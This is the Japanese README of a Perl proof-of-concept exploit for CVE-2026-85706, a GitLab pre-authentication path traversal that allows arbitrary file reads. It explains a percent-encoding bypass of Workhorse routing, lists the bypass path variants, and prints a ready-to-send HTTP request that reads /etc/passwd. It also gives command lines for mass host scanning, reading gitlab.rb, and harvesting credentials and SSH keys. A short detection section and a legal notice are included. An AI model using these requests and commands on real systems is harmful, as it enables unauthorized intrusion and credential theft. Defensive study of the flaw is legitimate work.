
Perl PoC は CVE-2026-85706 を悪用します。これは認証不要の GitLab パストラバーサルで、任意ファイル読み取りを可能にし、一括スキャンと認証情報の収集を備えています。
認可されたペネトレーションテストおよびレッドチーム作戦専用。
不正使用は犯罪行為を構成します。法的通知を参照してください。
CVE-2026-85706 は、GitLab Community Edition および Enterprise Edition における CVSS 10.0 のパストラバーサル脆弱性であり、完全に未認証の攻撃者が単一の HTTP リクエストでサーバーファイルシステムから任意のファイルを読み取ることを可能にします。認証情報、トークン、ユーザー操作は一切不要です。
| ブランチ | 脆弱な範囲 | 修正版 |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab の HTTP スタックは3つの層で構成されています:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse はスマートリバースプロキシとして機能します。特定の「アップロード」エンドポイント(リポジトリのコミット、ファイル操作)では、マルチパートリクエストボディを読み取り、ファイルデータをディスクに保存し、Puma に転送する前にリクエストを書き換えます。重要な点として、プロキシするすべてのリクエストに JWT ヘッダー(Gitlab-Workhorse-Api-Request)を付加します。その後 Rails は、ハンドラーロジックを実行する前にこの JWT を検証します(require_gitlab_workhorse! 経由)。
第1層 — Workhorse のルートマッチング:
Workhorse は、生のパーセントエンコードされたバイト文字列に対して動作するコンパイル済み正規表現を使用してリクエストパスをマッチングします。マッチング前に %XX シーケンスをデコードしません。
第2層 — Puma/Rack ルーティング:
Puma は Grape がリクエストをルーティングする前に %XX シーケンスをデコードします。したがって /repository/%63ommits へのリクエストは /repository/commits にデコードされ、CommitsController にルーティングされます。
第3層 — 認証前のファイル読み取り:
Rails ハンドラー(Workhorse がリクエストをマッチングしなかったため、Workhorse の JWT なしで到達する)に入ると、ハンドラーはクエリ文字列から params[:file][:path] を読み取り、以下を呼び出します:
File.open(params[:file][:path]) # ← happens BEFORE authentication
静的パスセグメント内の1文字をパーセントエンコードすることで、攻撃者のリクエストは Workhorse を検出されずにすり抜けます:
| セグメント | 元の形式 | バイパス形式 | エンコード文字 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (任意) | commits | commits/ | 末尾スラッシュ |
| (任意) | commits | commits.json | Grape サフィックス |
ファイルが開かれた後、コンテンツは Rack のクエリ文字列パーサーを介して流出します:
Rack::Utils.parse_nested_query(File.read(path))
ファイルに2つの有効な16進数が続かない % が含まれている場合(Ruby 設定ファイル、CI YAML、ログなどで一般的)、Rack は以下を発生させます:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
この 400 レスポンスのボディには、問題のあるバイトまで(それを含む)の生のファイルコンテンツが含まれ、未認証の呼び出し元にファイルの内容が漏洩します。
悪用可能な % シーケンスを含まないファイル(例:クリーンな /etc/passwd)は、読み取り後に 401 またはパラメーター検証エラーを返します。これはファイル存在オラクルとして機能します(読み取りは依然として認証前に発生しています)。
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| モジュール | パッケージ | 役割 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP クライアント(必須) |
LWP::Protocol::https | libwww-perl | HTTPS サポート(必須) |
URI::Escape | liburi-perl | クエリ文字列エンコード(必須) |
Term::ANSIColor | libterm-ansicolor-perl | 色付き出力(オプション) |
JSON | libjson-perl | JSON 出力モード(オプション) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| クイック(デフォルト) | フル(--full) | |
|---|---|---|
| リクエスト数 | ≤9(1 プリフライト + ≤4×2) | 27+ |
| 早期終了 | あり — 最初に確認された差分で停止 | なし — 全22形式をスイープ |
| バージョン情報 | なし | あり |
| バイパス形式 | 代表的な Files API 4形式 | 全22形式(Commits + Files API) |
| 最適な用途 | 高速偵察、大規模ホストリスト | ペンテストレポート、--file/--scan の準備 |
クイックチェックのパイプライン:
GET /api/v4/version — 到達可能性 + GitLab のヒント/etc/hostname + 一意のカナリアをプローブcanary → 'local file not present' ∧ hostname ≠ canary → 脆弱(即座に終了)フルチェックのパイプライン(--full):
--project-id とチェックモード--project-id フラグは、--check および --check-host-list を含むすべてのモードで使用できます。相互作用の理解:
| バイパスグループ | 形式 | プロジェクト ID 依存性 |
|---|---|---|
Files API(%66iles、%46iles、re%70ository/files、…) | 14 | なし — CVE の設計上、ファイル読み取りはプロジェクトチェックより先行します。任意の ID(存在しないものでも)が正しいシグナルを生成します。 |
Commits API(%63ommits、%43ommits、repository/commits/、…) | 8 | 必須 — プロジェクトが存在し、匿名で読み取り可能である必要があります。そうでない場合は project-gate を返します。 |
実践的なガイダンス:
--check(クイック): Files API 形式のみを使用 → プロジェクト ID は無関係。--check --full: 全22形式をテストします。公開プロジェクト ID を知っている場合は、--project-id <N> を渡して Commits API 形式も確認します。--check-host-list: 単一の --project-id がすべてのホストで公開プロジェクトにマッピングされることはまれです。省略してください。# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| 判定 | 意味 |
|---|---|
leak | ファイルコンテンツがレスポンスボディにエコーされる(Rack パースエラー経由) |
leak-fragment | パラメーター名フラグメント経由の部分的なコンテンツエコー |
read-noecho | バイパスパスで HTTP 401 — 曖昧: 認証前にファイル読み取りが発生した(脆弱、不正な % シーケンスを含まないクリーンなコンテンツ)か、読み取り前に認証が発動した(パッチ済みサーバー)かのいずれか。--check で差分により確認してください |
missing | バイパスパスが機能;ハンドラーに到達;ファイルが存在しないか読み取り不可 |
rewrite | Workhorse がこのパス形式をインターセプト — バイパス失敗 |
project-gate | Commits API がプロジェクトを拒否;Files API 形式を試してください |
noroute | Rails がこのパスバリアントをルーティングしなかった |
| 機能 | Python PoC | この Perl PoC |
|---|---|---|
| バイパスパスバリアント | 6 | 15 |
| 一括ファイルスキャン(T1083) | ✗ | ✓ 組み込み38パスワードリスト |
| 認証情報の収集(T1552.001) | ✗ | ✓ 22の認証情報パターン |
| JSON 出力 | ✗ | ✓ --json |
| ファイル出力 / tee | ✗ | ✓ --output |
| ファイル存在オラクルメッセージ | 基本 | 明示的、色分け |
| リトライロジック | ✗ | ✓ 設定可能な --retries |
| リクエストごとの遅延 | ✗ | ✓ --delay(浮動小数点秒) |
| カスタム User-Agent | ✗ | ✓ --user-agent |
| 名前空間/プロジェクト ID | ✗ | ✓ / → %2F を自動エンコード |
| 詳細モード | ✗ | ✓ --verbose |
gitlab.rb 内の secret_key_base および otp_key_base/home/git/.ssh/、/root/.ssh/)以下を含む /api/v4/projects/*/repository/ パスへの POST または PUT リクエストを探してください:
%63、%43、%72、%70、%66、%46 など)file.path クエリパラメーターcommits または files エンドポイントの末尾スラッシュまたは .json 形式サフィックスこのツールは厳密に以下の目的で提供されます:
所有していない、または明示的な書面によるテスト許可を持たないシステムに対する不正使用は、事実上すべての法域で違法であり、コンピューター不正使用法(CFAA、Computer Misuse Act など)に基づく刑事訴追につながる可能性があります。
このツールの作者および貢献者は、このソフトウェアによって引き起こされたいかなる誤用または損害についても一切の責任を負いません。